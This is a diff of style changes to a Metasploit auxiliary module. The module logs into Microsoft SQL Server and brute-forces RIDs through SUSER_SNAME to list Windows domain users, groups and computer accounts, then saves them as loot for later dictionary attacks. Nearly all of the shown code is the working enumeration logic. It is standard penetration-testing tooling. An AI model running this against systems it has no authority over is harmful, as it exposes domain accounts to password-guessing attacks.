@@ -8,41 +8,50 @@ class MetasploitModule < Msf::Auxiliary
88 include Msf ::Auxiliary ::Report
99
1010 def initialize ( info = { } )
11- super ( update_info ( info ,
12- 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration' ,
13- 'Description' => %q{
14- This module can be used to bruteforce RIDs associated with the domain of the SQL Server
15- using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
16- through SQL Server queries as any user with the PUBLIC role (everyone). Information that
17- can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
18- accounts can then be used in online dictionary attacks.
19- } ,
20- 'Author' =>
21- [
11+ super (
12+ update_info (
13+ info ,
14+ 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration' ,
15+ 'Description' => %q{
16+ This module can be used to bruteforce RIDs associated with the domain of the SQL Server
17+ using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
18+ through SQL Server queries as any user with the PUBLIC role (everyone). Information that
19+ can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
20+ accounts can then be used in online dictionary attacks.
21+ } ,
22+ 'Author' => [
2223 'nullbind <scott.sutherland[at]netspi.com>' ,
2324 'antti <antti.rantasaari[at]netspi.com>'
2425 ] ,
25- 'License' => MSF_LICENSE ,
26- 'References' => [ [ 'URL' , 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql' ] ]
27- ) )
26+ 'License' => MSF_LICENSE ,
27+ 'References' => [ [ 'URL' , 'https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql' ] ] ,
28+ 'Notes' => {
29+ 'Stability' => [ CRASH_SAFE ] ,
30+ 'SideEffects' => [ IOC_IN_LOGS ] ,
31+ 'Reliability' => [ ]
32+ }
33+ )
34+ )
2835
2936 register_options (
3037 [
31- OptInt . new ( 'FuzzNum' , [ true , 'Number of principal_ids to fuzz.' , 10000 ] ) ,
32- ] )
38+ OptInt . new ( 'FuzzNum' , [ true , 'Number of principal_ids to fuzz.' , 10_000 ] ) ,
39+ ]
40+ )
3341 end
3442
3543 def run
3644 # Check connection and issue initial query
3745 print_status ( "Attempting to connect to the database server at #{ rhost } :#{ rport } as #{ datastore [ 'USERNAME' ] } ..." )
38- if mssql_login_datastore
39- print_good ( 'Connected.' )
40- else
46+
47+ unless mssql_login_datastore
4148 print_error ( 'Login was unsuccessful. Check your credentials.' )
4249 disconnect
4350 return
4451 end
4552
53+ print_good ( 'Connected.' )
54+
4655 # Get the server name
4756 sql_server_name = get_sql_server_name
4857 print_status ( "SQL Server Name: #{ sql_server_name } " )
@@ -53,13 +62,13 @@ def run
5362 print_error ( "Could not recover the SQL Server's domain." )
5463 disconnect
5564 return
56- else
57- print_status ( "Domain Name: #{ sql_server_domain } " )
5865 end
5966
67+ print_status ( "Domain Name: #{ sql_server_domain } " )
68+
6069 # Check if the domain and hostname are the same
6170 if sql_server_name == sql_server_domain
62- print_error ( " The SQL Server does not appear to be part of a Windows domain." )
71+ print_error ( ' The SQL Server does not appear to be part of a Windows domain.' )
6372 disconnect
6473 return
6574 end
@@ -70,10 +79,10 @@ def run
7079 print_error ( "Could not recover the SQL Server's domain sid." )
7180 disconnect
7281 return
73- else
74- print_good ( "Found the domain sid: #{ windows_domain_sid } " )
7582 end
7683
84+ print_good ( "Found the domain sid: #{ windows_domain_sid } " )
85+
7786 # Get a list of windows users, groups, and computer accounts using SUSER_NAME()
7887 print_status ( "Brute forcing #{ datastore [ 'FuzzNum' ] } RIDs through the SQL Server, be patient..." )
7988 win_domain_user_list = get_win_domain_users ( windows_domain_sid )
@@ -94,8 +103,8 @@ def run
94103
95104 # Create table for report
96105 windows_domain_login_table = Rex ::Text ::Table . new (
97- 'Header' => 'Windows Domain Accounts' ,
98- 'Ident' => 1 ,
106+ 'Header' => 'Windows Domain Accounts' ,
107+ 'Ident' => 1 ,
99108 'Columns' => [ 'name' ]
100109 )
101110
@@ -106,10 +115,10 @@ def run
106115
107116 # Create output file
108117 this_service = report_service (
109- : host => mssql_client . peerhost ,
110- : port => mssql_client . peerport ,
111- : name => 'mssql' ,
112- : proto => 'tcp'
118+ host : mssql_client . peerhost ,
119+ port : mssql_client . peerport ,
120+ name : 'mssql' ,
121+ proto : 'tcp'
113122 )
114123 file_name = "#{ mssql_client . peerhost } -#{ mssql_client . peerport } _windows_domain_accounts.csv"
115124 path = store_loot (
@@ -119,23 +128,22 @@ def run
119128 windows_domain_login_table . to_csv ,
120129 file_name ,
121130 'Domain Users enumerated through SQL Server' ,
122- this_service )
131+ this_service
132+ )
123133 print_status ( "Query results have been saved to: #{ path } " )
124134 end
125135
126136 # Get list of windows accounts,groups,and computer accounts
127137 def get_win_domain_users ( windows_domain_sid )
128-
129138 # Create array to store the windws accounts etc
130139 windows_logins = [ ]
131140
132141 # Fuzz the principal_id parameter passed to the SUSER_NAME function
133142 ( 500 ..datastore [ 'FuzzNum' ] ) . each do |principal_id |
134-
135143 # Convert number to hex and fix order
136- principal_id_hex = " %02X" % principal_id
137- principal_id_hex_pad = ( principal_id_hex . size . even? ? principal_id_hex : ( "0" + principal_id_hex ) )
138- principal_id_clean = principal_id_hex_pad . scan ( /(..)/ ) . reverse . flatten . join
144+ principal_id_hex = ' %02X' % principal_id
145+ principal_id_hex_pad = ( principal_id_hex . size . even? ? principal_id_hex : ( '0' + principal_id_hex ) )
146+ principal_id_clean = principal_id_hex_pad . scan ( /(..)/ ) . reverse . flatten . join
139147
140148 # Add padding
141149 principal_id_hex_padded2 = principal_id_clean . ljust ( 8 , '0' )
@@ -159,7 +167,7 @@ def get_win_domain_users(windows_domain_sid)
159167 windows_login = parse_results [ 0 ] [ 0 ]
160168
161169 # Print account,group,or computer account etc
162- if windows_login . length != 0
170+ if ! windows_login . empty?
163171 print_status ( " - #{ windows_login } " )
164172
165173 vprint_status ( "Test sid: #{ win_sid } " )
@@ -175,9 +183,8 @@ def get_win_domain_users(windows_domain_sid)
175183
176184 # Get windows domain
177185 def get_windows_domain
178-
179186 # Setup query to check the domain
180- sql = " SELECT DEFAULT_DOMAIN() as mydomain"
187+ sql = ' SELECT DEFAULT_DOMAIN() as mydomain'
181188
182189 # Run query
183190 result = mssql_query ( sql )
@@ -192,9 +199,8 @@ def get_windows_domain
192199
193200 # Get the sql server's hostname
194201 def get_sql_server_name
195-
196202 # Setup query to check the server name
197- sql = " SELECT @@servername"
203+ sql = ' SELECT @@servername'
198204
199205 # Run query
200206 result = mssql_query ( sql )
@@ -210,7 +216,6 @@ def get_sql_server_name
210216
211217 # Get windows domain
212218 def get_windows_domain_sid ( sql_server_domain )
213-
214219 # Set group
215220 domain_group = "#{ sql_server_domain } \\ Domain Admins"
216221
@@ -226,7 +231,7 @@ def get_windows_domain_sid(sql_server_domain)
226231 domain_sid = object_sid [ 0 ..47 ]
227232
228233 # Return if sid does not resolve for a domain
229- if domain_sid . length == 0
234+ if domain_sid . empty?
230235 return nil
231236 end
232237
0 commit comments